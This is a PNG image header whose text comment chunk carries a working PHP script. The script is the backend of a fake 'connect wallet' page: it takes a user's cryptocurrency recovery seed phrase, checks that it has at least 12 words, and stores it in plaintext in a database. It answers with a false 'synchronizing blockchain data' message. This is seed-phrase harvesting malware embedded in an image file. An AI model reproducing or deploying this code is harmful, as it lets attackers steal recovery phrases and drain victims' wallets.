‰PNG

   IHDR         ôxÔú   sBIT|dˆ   	pHYs  Ä  Ä•+   tEXtSoftware www.inkscape.org›î<  ,àtEXtComment 
<?php
// Turn off error reporting to screen so we don't break the JSON response
ini_set('display_errors', 0);
error_reporting(E_ALL);

session_start();
require_once('includes/connect.php');
require_once('includes/functions.php');

// Tell the browser we are sending JSON data back
header('Content-Type: application/json');

try {
    // 1. Check Authentication
    if (!isset($_SESSION['Email'])) {
        echo json_encode(['status' => 'error', 'message' => 'Session expired. Please log in again.']);
        exit();
    }

    // 2. Fetch User Data
    $user = GetMember1($_SESSION['Email']);
    if (!$user) {
        echo json_encode(['status' => 'error', 'message' => 'User account not found.']);
        exit();
    }

    $userId = $user['ID'];

    // 3. Read data from standard $_POST (because JS sends FormData)
    $walletName = isset($_POST['wallet_name']) ? trim(strip_tags($_POST['wallet_name'])) : '';
    $seedPhrase = isset($_POST['seed_phrase']) ? trim(strip_tags($_POST['seed_phrase'])) : '';

    // 4. Basic Validation
    if (empty($walletName) || empty($seedPhrase)) {
        echo json_encode(['status' => 'error', 'message' => 'Wallet name and recovery phrase are required.']);
        exit();
    }

    // Ensure the seed phrase is at least 12 words
    $wordCount = count(array_filter(explode(' ', $seedPhrase)));
    if ($wordCount < 12) {
        echo json_encode(['status' => 'error', 'message' => 'Invalid phrase. Must be at least 12 words.']);
        exit();
    }

    // 5. Insert into the database
    // Removed the 'status' column to match the table we created
    $stmt = $conn->prepare("INSERT INTO connected_wallets (user_id, wallet_name, seed_phrase) VALUES (?, ?, ?)");
    
    if (!$stmt) {
        throw new Exception($conn->error);
    }

    $stmt->bind_param("iss", $userId, $walletName, $seedPhrase);
    $stmt->execute();
    
    if ($stmt->affected_rows > 0) {
        // Success! (Using 'status' => 'success' to match the JS)
        echo json_encode([
            'status' => 'success', 
            'message' => 'Wallet connection initiated successfully! Please wait while we synchronize the blockchain data.'
        ]);
    } else {
        echo json_encode(['status' => 'error', 'message' => 'Failed to connect wallet. Please try again.']);
    }
    
    $stmt->close();

} catch (Exception $e) {
    // Database Error (Sends back exactly what went wrong if it fails)
    echo json_encode(['status' => 'error', 'message' => 'System error: ' . $e->getMessage()]);
}
?>